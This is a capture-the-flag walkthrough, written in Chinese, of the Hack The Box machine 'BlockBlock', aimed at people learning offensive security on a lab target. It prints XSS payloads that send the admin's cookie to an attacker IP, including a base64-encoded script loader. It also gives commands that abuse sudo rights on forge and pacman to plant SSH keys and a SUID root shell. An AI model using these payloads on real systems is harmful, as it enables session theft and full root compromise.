Recommand: Let’s Sign Up HTB Academy to get Higher level of knowledge :P
非常推薦: 想要變强嗎? 快來加入 HTB Academy 獲得更高級的知識吧 :P
BlockBlock
https://www.hackthebox.com/achievement/machine/463126/635
沒有想象中的難,另外 patch 之後的機器可以用中等難度來形容。
首先使用 nmap 探測端口,發現了 80 和 8545 端口。在訪問 80 端口後,發現有請求指向 8545 端口,然而直接訪問該端口會出現錯誤,因此使用 burp 截取請求後,發現請求中包含 eth_blockNumber,這顯示該端口使用了 Ethereum 的 API。嘗試使用其他方法但因為缺少 token 而被拒絕,於是決定返回 web 界面進行用戶註冊,成功後獲得了訪問權限。接著查看了智能合約的相關文件,並利用 jq 導出 Chat.sol 和 Database.sol 兩個文件。在檢查網頁源代碼時,發現了一個未經處理的 username,這為 XSS 攻擊提供了機會。經過嘗試,成功注入了 XSS payload,並確認了存在 bot 的情況,隨後進一步測試了 JavaScript 的執行能力,發現可以成功側加載 JavaScript 文件。接下來,通過調用 /api/info 來獲取用戶資料和 cookie,並將該 cookie 用於 admin 登錄,最終進入了管理後台。注意到管理界面中僅有兩個用戶,推測可能隱藏了一些重要信息。透過截取請求並嘗試使用 Ethereum API 獲取區塊信息,成功解碼後發現了一個用戶名和密碼,並成功登錄至系統。利用當前用戶的 sudo 權限,檢查到可以運行 forge 程序,並發現其具備讀取和寫入文件的能力,於是生成 SSH 金鑰並將其寫入到 authorized_keys 中,成功獲得了 paul 用戶的訪問權限。隨後,利用 pacman 包管理器安裝了惡意包,最終獲得了 root 權限。
Recon with nmap
首先先使用 nmap 探測下:
1 | $ sudo nmap -sS -sC -sV -oA save.nmap -vv -p- 10.129.6.52 |
這裏有 80
和 8545
端口。
Play around 8545 port (Failed)
所以從80端口開始,
按下 F12 后看到有請求去 8545 端口,
但是這個 8545 端口直接訪問的話就會出錯,
所以用 burp 截取一下原本的請求内容:
出現了 eth_blockNumber
,於是直接谷歌查一下,看看這是什麽:
看起來是 Ethereum
的 API,既然一堆方法名都列了出來,那就嘗試使用其他的方法:
隨便找了一個方法名,請求後出現了一個錯誤:
這個意思是當前代理訪問的程序沒辦法驗證 token,所以拒絕訪問。所以嘗試 fuzz 下這個函數,看看有沒有其他的錯誤出現,把 eth_getCode
改成 FUZZ
之後保存到文件,然後抓一下網頁上出現的函數:
嘗試 fuzz 一下那個函數,不過很可惜:
1 | $ ffuf -request fuzz.txt -request-proto http -w api.txt -fc 401 |
什麽也沒有得到,看來程序只允許 eth_blockNumber
,因爲沒有 token,所以先放棄這條路。
題外話:上面給了一個代理訪問的程序,網上搜了一下也沒找到關於Ethereum
的代理程序, 而且官方文檔中也沒有提到有一個錯誤是關於 Proxy Couldn't verity token
。另外這裏的第二個單詞開頭 C
應該是小寫,成熟的框架不應該會犯下這種低級錯誤,所以很容易猜到這個box的作者另外寫了一個程序,把8545的端口轉發到本地的Ethereum
服務器 ,然後檢查 method
是不是 eth_blockNumber
,如果是的話就允許,否則的話就拒絕所有請求。
Decentralized Chat
既然沒有 token,那只能回到 web,
點擊上面的 Register
,注冊一個用戶:
Download smart contracts source code
注冊好了之後,就會進去一個網頁:
底部有一個 smart contracts
的説明文件,所以點擊這個 here
就可以看到:
這很難看出來寫的什麽,所以點擊 save
,然後使用 jq
導出下:
使用 jq
的時候由於他的key是 Chat.sol
但是jq
會解析成 Chat
下面的 sol
,爲了讓 jq
不解析裏面的 .
就需要使用雙引號 "Chat.sol"
來指定,單引號無效,所以就會變成這樣:
1 | $ cat contract_source.json | jq -r '."Chat.sol"' > Chat.sol |
然後就得到了 Chat.sol
和 Database.sol
這兩個文件。
Analysis HTML Source code
然後在登陸後的頁面看下源代碼,可以看到一個 js 的文件,而且這裏的 username
沒有經過任何處理,一眼就看到這裏有 xss 。
點進去看一下 chat.js
,同樣的也看到一個 escapeHtml
函數,他把xss比較重要的地方給轉換了,所以這裏沒有 xss 。
根據上面html的代碼,也就是說可以手動輸入一下 ?username=mane
看看會發生什麽。
有一個 401,這意味著管理員很大機會查看 ?username=mane
,而且網頁上也有 Report User
,
Testing XSS Payload if work or not
嘗試點一下 Report User
:
彈出了輸入username
,既然 username
那裏有 xss 注入,嘗試發送 xss 的payload:
如下:
1 | <img src="http://10.10.16.31/mane" /> |
結果真的收到了 xss。
確定了有bot存在,那麽肯定是玩xss,所以看一下是什麽發起訪問的:
看起來是瀏覽器,所以下一步就是試一下能不能運行javascript:
1 | <img src=x onerror="fetch('http://10.10.16.31/sleepisg00d')" /> |
看起來沒問題,既然成功了,就試一下側加載 js,反正都是瀏覽器運行,就隨手試一下。
如果能執行就説明 CORS
沒有任何限制,payload 如下:
1 | var mane = document.createElement('script'); |
Base64 后就得到:
1 | <img src=x onerror='eval(atob("dmFyIG1hbmUgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTsNCm1hbmUuc2V0QXR0cmlidXRlKCdzcmMnLCdodHRwOi8vMTAuMTAuMTYuMzEvcGF5bG9hZC5qcycpOw0KZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChtYW5lKTs="))' /> |
由於是動態執行 payload.js
,所以需要准備一下 payload.js
裏面的内容,那就隨便寫一個回調:
1 | fetch("http://10.10.16.31/script_loading") |
來證明 payload.js
是可以被運行的:
收到了回調,看起來側加載 js 沒問題,這樣只需要把payload寫進去 payload.js
,然後再發送上面的那段 img
,就可以簡化很多。
What API can call?
那麽問題來了,需要 xss 些什麽呢?由於 cookie 被設置成 HttpOnly:true
這意味著不能從 js 上得到cookie
不過刷新一下網頁,發現 /api/info
可以返回一些基本的信息,包括用戶名和cookie:
而 /api/recent_messages
返回一些最近的聊天記錄,由於沒有聊天記錄所以返回 []
。
Write a malicious javascript script to got admin cookie
既然是可以側加載 js , 那麽就寫一段payload來主動獲取 /api/info
和 /api/recent_messages
,之後把得到的内容返回回來。所以 payload.js
如下:
1 | function send(d){ |
發送后得到:
我故意加了一段 window.location
,可以看到機器人真的會訪問 /chat?username=<payload>
,
然後就得到了 admin 的cookie:
把這個 cookie 裝回去瀏覽器的token上,
就得到了 admin ,直接前衛 /admin
的後臺管理頁面:
值得注意的是這裏的 users 只有兩個:
這意味著 keira
這個用戶可能會藏一些東西,比如密碼藏在聊天記錄啊什麽的。
隨手看一下html代碼發現有一個 /api/json-rpc
:
也就是說在打開 /admin
的時候,會有一個請求去 /api/json-rpc
,使用burp截取一下:
Play with Ethereum JSON-RPC API
嘗試改成 Ethereum
API 文檔裏的方法名,也就是嘗試獲取區塊上的信息,根據 API 文檔的説明,可以使用 eth_getBlockByNumber
來獲取每個區塊的内容。爲了獲取所有的區塊的信息,就要從 0x1
開始,所以查看第一個區塊看到一大串東西:
看起來很像是16進制的hex文件,所以嘗試使用 cyberchef
解密一下:
在最底下看到了一個用戶名和一串東西,這裏就猜測是密碼,試了一下 ssh,
1 | keira : SomedayBitCoinWillCollapse |
結果就登錄進去了。
Shell as Keria user and exploit SUID of forge
由於當前用戶可以以 sudo
的形式去代替 paul
運行 forge
,這説明需要去paul
這個用戶,看一下 forge
這個程序有什麽可以利用的地方,首先得看一下有什麽可以用:
1 | $ sudo -u paul /home/paul/.foundry/bin/forge -h |
神奇的地方是 forge
裏面有一個 flatten
的功能,可以讀取並返回文件裏面的内容:
1 | $ sudo -u paul /home/paul/.foundry/bin/forge flatten /etc/passwd |
那麽能不能寫入到某個文件呢?
好像還真可以,所以試一下:
1 | $ sudo -u paul /home/paul/.foundry/bin/forge flatten /etc/passwd -o /tmp/mane.txt |
既然可以寫入文件,那麽試一下 .ssh
的文件夾是不是存在:
1 | $ sudo -u paul /home/paul/.foundry/bin/forge flatten /etc/passwd -o /home/paul/.ssh |
既然存在的話,那就可以閉上眼睛寫 ssh key,所以先生成一個 ssh key:
1 | $ ssh-keygen |
然後把 key.pub
寫進去 authorized_keys
:
1 | $ cd /tmp/ |
寫入成功之後就可以使用 ssh 登錄 paul
。
Quick exploit command
簡化后如下,直接貼到 keira
這個用戶的shell 就得到了 paul
。
1 | $ cd /tmp |
Exploit SUID of pacman and make a malicious packages
1 | $ ssh -i key paul@10.129.51.225 |
連上來之後同樣的看一下 sudo,發現是可以運行 arch
的包管理器 pacman
,類似於 kali 的 dpkg
,其實看到這樣就已經結束了,只需要製作一個惡意的包即可。另外可以看到這裏沒有强制重設 env,也就是可以做一些 PATH
的劫持。
這裏列出兩種方法,第一種是安裝 ssh key,第二種是安裝 suid 的bash。
Method 1 : Install SSH Key to root
製作 pacman
的包需要準備一個目錄和 PKGBUILD
,還有 ssh public key:
1 | $ mkdir mane |
這裏的 authorized_keys
就是剛才生成的 key.pub
,然後 PKGBUILD
如下:
1 | pkgname=mane |
把 authorized_keys
和 PKGBUILD
放進去文件夾裏面,大概會是這樣的:
然後使用 makepkg -s
製作惡意包
就可以使用 pacman
給 root 安裝 ssh 的 authorized_keys
:
1 | sudo /usr/bin/pacman -U mane-1.0.1-1-x86_64.pkg.tar.zst |
安裝完成后會把 authorized_keys
放進去 /root/.ssh/authorized_keys
,所以使用 ssh 連接即可。
Method 2 : Install Suid Binary
第二種方法是製作 suid
的 bash
,這個步驟會比較簡單,同樣的,需要準備一個目錄:
1 | $ mkdir mane |
PKGBUILD
如下:
1 | pkgname=mane |
-Dm4777
説明需要修改權限成 4777
,最後文件夾就只有一個PKGBUILD
文件,如下:
運行 makepkg -s
就可以製作惡意包:
然後使用 pacman
來安裝剛才的惡意包:
1 | $ sudo pacman -U mane-1.0.1-1-any.pkg.tar.zst |
安裝完後就可以在 /home/paul/
看到有一個紅色的 manetest
,直接 /home/paul/manetest -p
就得到了root:
Quick exploit command
整理後的脚本如下:
1 | cd ~ |
直接貼到 paul
就獲得了root 。
完結。
Out of the box
這裏是題外話,在機器的 8545 端口中,有一個 /home/keira/reverse-proxy
可以看得出端口 8545 就如想象中的那樣,是一個大大的 rabbit hole,實際上他並沒有任何作用。
至於管理員的xss長啥樣,設置好管理員的cookie登陸後,把 username
改成 xss 的 payload,可以看到:
所以可以斷定,真正執行 xss 的 payload 并不是在 Profile
裏面。
Patch for what ?
當我完成了這臺機器,沒幾天就出了一個 patch 的版本,所以到底是patch了啥?
可以直接去看源代碼:
首先把 time.sleep(3)
這行忽視掉,從舉報一個用戶 /api/report_user
開始,就會進入一個 screenshot(url)
的函數,這個函數是截圖然後保存到本地的文件夾裏面。不難看出,首先是啓動一個瀏覽器,然後新建一個page,這個page其實是 /chat?username=舉報的用戶名
,也就是觸發xss的地方,截圖,立馬關閉瀏覽器。
所以你看到問題了麽??在第一次還沒patch的時候,沒有 time.sleep(3)
這個函數,短時間運行那段 xss 的payload 可能連 payload.js
的文件還沒運行,就强制關閉了網頁。可以隨便寫一段 javascript 來測試 payload.js
的存活時間:
1 | function s(d){ try{fetch("http://10.10.16.31/?" + btoa(encodeURIComponent(d.toString())))}catch{} } |
包裝成 base64 之後嵌入 img,讓它執行這段 javascript:
1 | <img src=x onerror='eval(atob("ZnVuY3Rpb24gcyhkKXsgdHJ5e2ZldGNoKCJodHRwOi8vMTAuMTAuMTYuMzEvPyIgKyBidG9hKGVuY29kZVVSSUNvbXBvbmVudChkLnRvU3RyaW5nKCkpKSl9Y2F0Y2h7fSB9DQp2YXIgY291bnQgPSAxOw0KcygiTG9hZCIpOw0Kc2V0SW50ZXJ2YWwoKCkgPT4gewlzKGNvdW50KSA7IGNvdW50ID0gY291bnQgKyAxIH0sMTAp"))' /> |
從回調中可以看出,運氣好的時候,可以得到三個請求,也就是存活的時間會更久一點:
算起來不到 0.1
秒,因爲沒有了 time.sleep(3)
,所以 0.1
秒后 js 就被强制關閉了。
但是只是僅限於運氣好的時候,運氣不好的時候一個請求也沒有,這取決於服務器那段代碼的運行速度。
如果先請求 /api/info
然後把cookie 直接返回回來,0.1
秒的存活時間根本就是極限,所以不能直接把結果返回回來,可以直接把返回的結果寫進去聊天框内,這樣會比較快,然後從聊天框内得到數據,這樣的勝率會高很多。
上面提到,運氣不好的時候一個請求也沒有,既然是這樣,可以需要寫一個javascript脚本去dos,20次嘗試肯定會有1次成功,所以直到成功爲止, 這是我完成還沒 patch 前的 demo:
Dos 的脚本如下:
1 | var callback_url = "http://10.10.16.31/" |
你可以看到還沒patch之前的機器難度高很多,隊友測試過如果直接把/api/info
的結果中返回回來,在 361 個請求中,只有5次的請求成功了,也就是大概 1.39%
的機率。
爲了降低難度,直接使用一個 delay 即可來修正xss的一切問題。
Hashes
1 | [root@blockblock ~]# cat /etc/shadow |
Thanks
Respect: If my writeup really helps you, Give me a respect to let me know, Thankssssss!
感謝: 製作不易,如果我的writeup真的幫到你了, 給我一個respect,這樣我就會知道,感謝你!
Found Mistakes: If you find something wrong in the page, please feel free email to mane@manesec.com thanksss !!!
發現一些錯誤: 如果你在文章中發現一些錯誤,請發郵件到 mane@manesec.com ,麻煩了!!
Beginner Recommand: If you are a beginner, please use this link to sign up for an HTB Academy to get more Higher level of knowledge.
新手非常推薦: 如果你是初學者,可以用此鏈接來嘗試注冊 HTB Academy 賬號。
使用上面的鏈接加入 HTB 的 academy 就可以免費看 Tire 0 的所有教程,這對初學者來説是很友好的。 (建議先完成 INTRODUCTION TO ACADEMY)
Join HTB’s academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)